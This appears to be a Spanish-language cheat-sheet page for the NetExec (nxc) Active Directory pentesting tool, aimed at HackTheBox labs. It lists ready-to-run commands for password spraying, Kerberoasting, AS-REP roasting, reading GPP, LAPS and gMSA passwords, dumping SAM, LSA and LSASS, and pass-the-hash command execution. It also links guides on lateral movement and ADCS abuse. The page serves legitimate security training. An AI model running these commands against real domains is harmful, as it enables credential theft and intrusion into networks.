NetExec (nxc)
NetExec (nxc) es la navaja suiza de Active Directory: valida credenciales contra muchos equipos a la vez, marca con (Pwn3d!) dónde eres administrador, enumera usuarios y recursos y tiene módulos para volcar LSASS, leer LAPS o gMSA y recoger datos de BloodHound.
- Plataforma
- Linux (Python)
- Web oficial
- github.com/Pennyw0rth/NetExec
- En HTB
- 40 máquinas
Instalación
pipx install git+https://github.com/Pennyw0rth/NetExec- T1110.003 Password spraying
- T1087.002 Cuentas del dominio
- T1135 Descubrimiento de recursos compartidos
- T1021.002 SMB y recursos administrativos
- T1550.002 Pass the hash
- T1003.001 Memoria de LSASS
- T1003.002 Base de datos SAM
- T1558.003 Kerberoasting
- T1558.004 AS-REP roasting
- T1552.006 Preferencias de directiva de grupo (GPP)
- Enumeración LDAP/RPC del dominio
- Password spraying y usuarios válidos
- Enumeración SMB/NFS
- Ejecución remota (WinRM, PsExec, WMI)
- Volcado de SAM/LSA/LSASS
- Leer contraseñas LAPS
- Cuentas gMSA
Chuleta de NetExec (nxc)
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Enumeración
Política de contraseñas (antes de rociar)
nxc smb 10.10.11.20 -u usuario -p 'Password123!' --pass-pol
Grupos del dominio
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --groups
Descargar todo lo legible de los recursos compartidos
nxc smb 10.10.11.20 -u usuario -p 'Password123!' -M spider_plus -o DOWNLOAD_FLAG=TrueKerberos y credenciales
AS-REP roasting
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --asreproast asrep.txt
Kerberoasting
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --kerberoasting kerberoast.txt
Contraseñas de GPP en SYSVOL
nxc smb 10.10.11.20 -u usuario -p 'Password123!' -M gpp_password
Leer LAPS
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M laps
Leer contraseñas de gMSA
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --gmsaSiendo administrador
SAM y LSA
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b --sam --lsa
LSASS con lsassy
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b -M lsassy
Ejecutar un comando
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b -x whoami
Comandos en MSSQL
nxc mssql 10.10.11.20 -u usuario -p 'Password123!' -x whoamiEn nuestras chuletas
Escalada en Windows y Active Directory › Active Directory
Nombre del dominio y del DC
netexec smb 10.10.11.20
Usuarios por RID (sesión de invitado)
netexec smb 10.10.11.20 -u guest -p '' --rid-brute
Comprobar credenciales y acceso
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!'
netexec winrm 10.10.11.20 -u 'usuario' -p 'Password123!'
Usuarios del dominio
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!' --users
Password spraying
netexec smb 10.10.11.20 -u usuarios.txt -p 'Password123!' --continue-on-successActive Directory a fondo › BloodHound
Con NetExec, sin instalar nada más
Atacante
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' --bloodhound -c All --dns-server 10.10.11.20Active Directory a fondo › ADCS (ESC1–16)
Enumerar la CA con NetExec
Atacante
nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M adcsActive Directory a fondo › NTLM relay
Equipos sin firma SMB obligatoria
Atacante
nxc smb 10.10.11.20/24 --gen-relay-list relay_targets.txtNmap y enumeración de servicios › Servicios
Con netexec (sesión nula e invitado)
netexec smb 10.10.11.20 -u '' -p '' --shares
netexec smb 10.10.11.20 -u 'guest' -p '' --shares
Con credenciales
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!' --sharesNingún comando coincide.
Máquinas de HTB donde se usa NetExec (nxc)
Sacadas de los capítulos de los vídeos de IppSec en los que aparece NetExec (nxc). El enlace ▶ salta al minuto de esa parte.
- Cross-Site Scripting (XSS)
- CSRF
- Inyección SQL
- SSRF
- Credenciales guardadas / DPAPI
- ADCS (certificados)
- Captura y relay NTLM
- Pass-the-hash / ticket
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Volcado de SAM/LSA/LSASS
- Abuso de ACLs (BloodHound)
- GPP y abuso de GPO
- Cracking de hashes
Guías que usan NetExec (nxc)
- Enumeración de Active Directory: usuarios, LDAP, BloodHound y password spraying 4 min de lectura Qué hacer al encontrar un controlador de dominio: enumerar sin credenciales, conseguir usuarios válidos, password spraying sin bloqueos y BloodHound.
- Movimiento lateral en Windows: pass-the-hash, pass-the-ticket, WinRM, PsExec y WMI 4 min de lectura Usar una contraseña, un hash NT o un ticket de Kerberos para ejecutar comandos en otras máquinas: evil-winrm, psexec, wmiexec, RDP, golden y silver tickets.
- Enumeración SMB y NFS: recursos compartidos, sesión nula y ficheros con contraseñas 4 min de lectura Enumerar SMB y NFS con NetExec, smbclient, smbmap y enum4linux-ng, con y sin credenciales: sesión nula, ficheros con contraseñas y no_root_squash.
- Captura y NTLM relay: Responder, ntlmrelayx y coerción con PetitPotam 5 min de lectura Capturar hashes NetNTLMv2 con Responder, saber cuándo se pueden retransmitir (firma SMB, LDAP, ADCS), usar ntlmrelayx y forzar autenticaciones con PetitPotam.
- Kerberoasting y AS-REP Roasting: hashes de Active Directory para crackear 3 min de lectura Qué hace vulnerable a una cuenta, cómo pedir los tickets con Impacket, NetExec o Rubeus, cómo crackearlos con hashcat y los errores típicos (reloj, etype, nombres de usuario).
- Volcado de credenciales en Windows: SAM, LSA, LSASS, DPAPI y NTDS.dit 4 min de lectura Dónde guarda Windows las credenciales y cómo sacarlas: SAM y SYSTEM, secretos LSA, LSASS con lsassy o pypykatz, DPAPI y NTDS.dit con SeBackup.
- Abuso de ACLs en Active Directory: GenericAll, WriteDacl, Shadow Credentials y DCSync 4 min de lectura Qué hacer con cada flecha de BloodHound: cambiar contraseñas, añadirte a grupos, Shadow Credentials, darte DCSync con WriteDacl y leer LAPS o gMSA.
- Pentesting de MSSQL: xp_cmdshell, suplantación, servidores enlazados y robo de hashes 4 min de lectura Atacar SQL Server en un dominio: conectarse con mssqlclient, ejecutar comandos con xp_cmdshell, escalar con EXECUTE AS, servidores enlazados y robo de hashes.
- Contraseñas en Active Directory: GPP (Groups.xml), LAPS y gMSA 3 min de lectura Tres sitios donde el propio dominio guarda contraseñas que puedes leer: cpassword en Groups.xml, la contraseña LAPS del administrador local y el hash de las cuentas gMSA.
- ADCS con Certipy: de una plantilla de certificado vulnerable a Domain Admin (ESC1 a ESC16) 4 min de lectura Encontrar plantillas y CA vulnerables de ADCS con Certipy y explotar ESC1, ESC4, ESC7, ESC8, ESC9 y ESC16, con el error típico de cada caso.